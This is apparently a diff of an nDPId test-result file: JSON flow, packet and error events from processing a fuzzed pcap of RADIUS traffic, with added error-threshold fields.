00739{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":243,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":23,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997260021140,"flow_src_last_pkt_time":1528997260021140,"flow_dst_last_pkt_time":1528997260021140,"flow_idle_time":620000000,"flow_src_min_l4_payload_len":158,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":158,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":158,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997867808101,"l3_proto":"ip4","src_ip":"198.226.25.62","dst_ip":"10.12.64.30","l4_proto":85,"flow_datalink":1,"flow_max_packets":3} 00582{"daemon_event_id":4,"daemon_event_name":"status","thread_id":0,"packet_id":243,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","packets-captured":243,"packets-processed":200,"total-skipped-flows":0,"total-l4-payload-len":85740,"total-not-detected-flows":10,"total-guessed-flows":2,"total-detected-flows":38,"total-detection-updates":0,"total-updates":98,"current-active-flows":15,"total-active-flows":54,"total-idle-flows":39,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":394,"global_ts_usec":1528997988607022} -00202{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":244,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":2560,"global_ts_usec":1528997988838453} +00302{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997988838453,"packet_id":244,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":2560,"global_ts_usec":1528997988838453} 00611{"packet_event_id":1,"packet_event_name":"packet","packet_id":244,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":239,"pkt_type":2560,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":239,"pkt_l4_len":0,"thread_ts_usec":1528997988607022,"pkt":"ABRP+4rqcNuYVcUnCgBFAADhCANAAPwRS8fG4hk1CgxAHgcUchAAzcqaC4QAxQGJ6Lj45v3l8O9jNbsTb\/MBNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE4NjQvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjM0T0oBAhBIFwEAAAEFAAD7NrjaxmMHv4vIE1TL2G1wAgUAANQK+SugcQAAjldODJoz\/yqLAQACCwUAAPFizAqNmvaDbjPlWgGZGZpQEuJJeKWQmKkvyDnGACXbYRU="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":245,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":0,"global_ts_usec":1528997989240618} +00299{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997989240618,"packet_id":245,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":0,"global_ts_usec":1528997989240618} 01255{"packet_event_id":1,"packet_event_name":"packet","packet_id":245,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":725,"pkt_type":0,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":725,"pkt_l4_len":0,"thread_ts_usec":1528997988607022,"pkt":"AAAMB6xAABRP+4olAABFAALHITdAAP8RAAAKDEAexuIZNXIQBxQCswAAAYUCq1+INwexFZhfJQDfuQscp+waCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQM4NwZbIqhlATUwMzExNDgwMDczNjM4MDcyQHdsYW4QbW5jNDg2Lm1jYzMxMS5EZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAAGjEAAAAJASthdWRpdC1zZXNzae9uLWlkPTEwZmYxMGFjMDAwMDAwY2I2NGE4MjI1YiwgNWIyMmE4NjQvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjM0BAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABZU9BgAAABNABgAAAA1BBgAAAAZRBDU2TyYCAgAkFwEAAAsFAAAqyk7MPy+\/53EGG8G21R64AwIAIEnDCioaFAAAV8gHDlZaV0MyVGVzdExhYhoKAABXyEgERVSpEAAAV8gKClN0YW5kYXJkGhAAAFfICwpUZXN0Q0xhYhoJAADXyA8DMRoKAABXsBAETkpHEQAAV8gRC0x5bmRodXJzdBoMAABXyBIGAAAAyRoXAABXyB0RVlpXIEMyIFRlc3QgTGFiGgsAAFfIJQVWelcaNQAAOCEOBzA3MDcxGgwAADghEQYAAAAAGhUAADghEg9JbnZhbCUAIFZhbHVlGh0AADghExc0MC44MDQ4ODJOLTc0LjEwMjgzOVcaDAAAOCEUBgAAAQIaDAAAOCEVBgAAAAIaFQAAOCEWD1N0YWRpdW1EaXJlY3QaDAAABYMHBsBQSplQElQJdBGjY0wxqxPERz7qHjo="} 00878{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":246,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":3,"flow_src_last_pkt_time":1528997989461215,"flow_dst_last_pkt_time":1528997663992299,"flow_idle_time":620000000,"pkt_oversize":false,"pkt_caplen":318,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":318,"pkt_l4_len":284,"thread_ts_usec":1528997989461215,"pkt":"ABRP+4rqcNuYVcUnCABFqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} 01378{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":247,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":2,"flow_src_last_pkt_time":1528997839322635,"flow_dst_last_pkt_time":1528997997929387,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":691,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":691,"pkt_l4_len":657,"thread_ts_usec":1528997997929387,"pkt":"AAAMB6xAABRP+4rqCABFAAKlIThAAP8RAAAKDEAexuIZNXIQBxUCkQAABIYCiWTbrkYoE6dP3NRell25+W4aCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGQVTUEMaCQAAOCENAzkBNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZ34IMWNpc2NvBQYAAAAIBAasFAEQCAasFAEWYRQAQP6AAAAAAAAAAAAAAAAAAAAgDlZaV0MyVGVzdExhYhoMAAA3YwEGAAAAAiwgNWIyMmE4NjQvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjM0PQYAAAATGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwY2I2NGE4MjI1Yi0GAAAAAUAGAAAADEEGAAAABlEENTY3BlsiqG0aFAAAV8gHDlZaV0MyVEMkdExhYhoKAABXyAgERVQaEAAAV8gKClN0YW5kYXJkGhAAAFfICwpUZXN0IExhYhoJAABXyA8DMRoKAABXyBAETkoaEQAAV8gRC0x5bmRodXJzdBoMAABXyBIGAAAAyRoXAABXyB0RVlpXIEMyIFRlc3QgTGFiGgsAAFfIJQVWelcaDQAAOCEOBzA3MDcxGgwAADghEQYAAAAAGhUAADghEg9JbnZhbGlkIFZhbHVlGh0AADghExdHMC44MDQ4ODJOLTc0LjEwMjgzOVcaDAAAOCEUaAAAAQIaDAAAOCEVBgAAAAIaFQAAOCEWD1N0YWRpdW1EaXJlY3QoBgAVAAEfE2YwLTc5LTYwLWQxLTdkLTM3HiUlAC1hNy00Jaqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} @@ -445,7 +445,7 @@ 01451{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":274,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_src_last_pkt_time":1528998257171672,"flow_dst_last_pkt_time":1528998257171672,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":745,"pkt_l4_len":711,"thread_ts_usec":1528998257171672,"pkt":"AAAMB6xAABRP+4rqCABFAALbtPNAAP8RAAAKDEAexuIZPnIQBxQCxwAAAZQCv\/QjF2fWlNBdxlblaWkTeyMaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQM1NwZbIqlxATUwMzExNDgwMjgxNTAxNTg5QHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZTAtNWYtNDUtOTAtMDktNWYeJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwY2Y1YWE5MjI1YiwgNWIyMmE5NWEvZTA6NWY6NDU6OTA6MDk6NWYvMjM4BAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2bzoCAQA4ATAzMTE0ODAyODE1MDE1ODlAd2xhbi5tbmM0ODAlAEZjMzExLjNncHBuZXR3b3JrLm9yZxoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhcmQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGmwAAFfIEAROShoRAABXyE0LTHluZGh1cnN0GgwAAFfIEgYAAAjJGhcAAFfIHRFWWlcgQzIgVGVzdCBMYWIaCwAAV8glBVZ6VxoNAAA4IQ4HMDcwNjEaDAAAOCERBgAAAEIaFQAAOCESD0ludmFsaWQgVmFsdWUaHQAAOCFMFzQwLjgwNDg4Mk4tN3kuxzAyODM5VxoMAAA4IRQGAAABAhoMAAA4IRUGAAAAAhoVAAA4IRYPU3RhZGl1bURpcmVjdBoMAAAFgwcGwFBKmVAS4SWykyhQ3NEVyrk907GZpA=="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":274,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":60,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528998257171672,"flow_src_last_pkt_time":1528998257171672,"flow_dst_last_pkt_time":1528998257171672,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":703,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":703,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528998257171672,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.62","src_port":29200,"dst_port":1812,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00695{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":275,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":2,"flow_src_last_pkt_time":1528998257171672,"flow_dst_last_pkt_time":1528998257238494,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"thread_ts_usec":1528998257238494,"pkt":"ABRP+4rqcNuYVcUnCABFAAClC51AAPwRSGDG4hk+CgxAHgcUchAAkfysC5QAiW3tOcJvsUMExQ3khIQf5JsBNTAzMTE0ODAyODE1MDE1ODlAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE5NWEvZTA6NWY6NDU6OTA6MAI6NWYvMjM4Tw4BAAAMFwwAAAwBf\/xQEttbuyUYSqflHrLDivPrVrc="} -00221{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":276,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":663,"global_ts_usec":1528998257392177} +00321{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528998257392177,"packet_id":276,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":663,"global_ts_usec":1528998257392177} 01222{"packet_event_id":1,"packet_event_name":"packet","packet_id":276,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":697,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":697,"pkt_l4_len":0,"thread_ts_usec":1528998257238494,"pkt":"AAAMB6xAABRP+4rqCABFAAKrtPRAZP8RAAAKLEAexuIZPnIQBxQClwAAAZUCj2QnnzQfo5ejlXtjb\/umlWwaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQM1NwZbIqlxATUwMzExNDgwMjgxNTAxNTg5QHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNib4OUAAAAAR8TZTAtNWYtNDUtOTAtMDktNWYeJTAwLWE3LTQyLWQwLWUwLTEwOlZlcml6b25XaTZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXOqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} 00731{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":277,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":3,"flow_src_last_pkt_time":1528998257171672,"flow_dst_last_pkt_time":1528998257456042,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"thread_ts_usec":1528998257456042,"pkt":"ABRP+4rqcNuYVcUnCABFAADAC6FAAPwRSEHG4hk+CgxAHgcUchAArH\/HA5UApDEA20uf1YbOtjZ3cBjhL8UBNTAzMTE0ODAyODE1MDE1ODlAd2xhbi5tbmM0ODAubWNjczExLjNncHBuZXR3b3JrLm9yZywwNWIyMmE5NWEvZTA6NWY6NDU6OTA6MDk6NWYvMjM4EiIzMjc2NCBTdWJzY3JpYmVyIG53dCBwcm92aXNpb25lZE8HBAEABwBQEiTxEJAlgr8Mmnu4S7XiSkM="} 00773{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":278,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":61,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528998260755072,"flow_src_last_pkt_time":1528998260755072,"flow_dst_last_pkt_time":1528998260755072,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":703,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":703,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528998260755072,"l3_proto":"ip4","src_ip":"10.6.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} @@ -454,18 +454,18 @@ 00774{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":279,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":62,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528998260831633,"flow_src_last_pkt_time":1528998260831633,"flow_dst_last_pkt_time":1528998260831633,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":137,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":137,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":137,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528998260831633,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.82.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00696{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":279,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_src_last_pkt_time":1528998260831633,"flow_dst_last_pkt_time":1528998260831633,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"thread_ts_usec":1528998260831633,"pkt":"ABRP+4rqcNuYVcUnCABFAAClC7JAAPwRSFTG4hk1ClJAHgcUchAAkW2jC5YAiay3x5utrN9ef0\/5StJEFS4BNTAzMTE0ODAyODE1MDE1ODlAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE5NWUvZTA6NWY6NDU6OTA6MDk6NWYvMjM4Tw4BAAAMVwwAAAwBf\/xQEkJeR7D8c3a4+60+qxnUicM="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":279,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":62,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528998260831633,"flow_src_last_pkt_time":1528998260831633,"flow_dst_last_pkt_time":1528998260831633,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":137,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":137,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":137,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528998260831633,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.82.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00203{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":280,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1528998260959519} +00303{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528998260959519,"packet_id":280,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1528998260959519} 01222{"packet_event_id":1,"packet_event_name":"packet","packet_id":280,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":697,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":697,"pkt_l4_len":0,"thread_ts_usec":1528998260831633,"pkt":"AAAMB6qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} -00202{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":281,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":2056,"global_ts_usec":1528998261024256} +00302{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528998261024256,"packet_id":281,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":2056,"global_ts_usec":1528998261024256} 00566{"packet_event_id":1,"packet_event_name":"packet","packet_id":281,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":206,"pkt_type":2056,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":206,"pkt_l4_len":0,"thread_ts_usec":1528998260831633,"pkt":"ABRX+4rqcNuYVcUnCAhFAADAC7dAAPwRSDTG4hk1CgxAHgcUchAArEQCA5cApOyxS9lHKp\/iE8OGfXn5m7UBNTAzMTE0ODAwODE1MDE1ODlAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE5NWEvZTA6NWY6NDU6OTA6MDk6NWYvMjM4EiIzMjc2NCBTdWJzY3JpYmVyIG5vdCBwcm92aXNpb25lZE8HBAEABwBQEvCuKaRJ36jDL+AkcQNYHtM="} -00221{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":283,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":145,"global_ts_usec":1528998279670634} +00321{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528998279670634,"packet_id":283,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":145,"global_ts_usec":1528998279670634} 00531{"packet_event_id":1,"packet_event_name":"packet","packet_id":283,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":179,"pkt_l4_len":0,"thread_ts_usec":1528998279600770,"pkt":"gBRP+yUAcNuYVcUnCABFADClC+NAAPsRSSPG4hk1CgxAHgcUchAAkf3TC5gAiaqvlSxwmtnYRSbHVUGZo3ABNTAzMTE0ODA0MzI2MDg1ODabd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE5ODcvNWM6MWQ6ZDk6NTM6MGM6OWIvMjM5Tw4BAAAMFwwAAAwBf\/xQEnv5mqy\/X1rSPl3U34VdPzc="} 00774{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":284,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":63,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528998279797842,"flow_src_last_pkt_time":1528998279797842,"flow_dst_last_pkt_time":1528998279797842,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":655,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":655,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":655,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528998279797842,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.80.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01388{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":284,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_src_last_pkt_time":1528998279797842,"flow_dst_last_pkt_time":1528998279797842,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":697,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":697,"pkt_l4_len":663,"thread_ts_usec":1528998279797842,"pkt":"AAAMB6xAABRP+4rqCABFAAKrIUlAAP8RAAAKDEAexuJQNXIQBxQClwAAAZkCj3rtQEtjvnzCegZr\/ks\/YsIaCgAAJQAOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQM3NwZbIq2HATUwMzExNDgwNDMyNjA4NTg2QHNsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TNWMtMWQtZDktNTMtMGMtOWIeJTAwLWE3LTQyLWQwLWUwLTAwOlaNcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwZDA4N2E5MjI1YiwgNWIyMmE5ODcvFWM6MWQ6ZDk6NTM6MGM6OWIvMjM5BASsFAEQIA5WWldDMlRlc3RMYWIaDPYAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TwoCAAAIFwwAABoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyCoKU3RhbmRhqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} 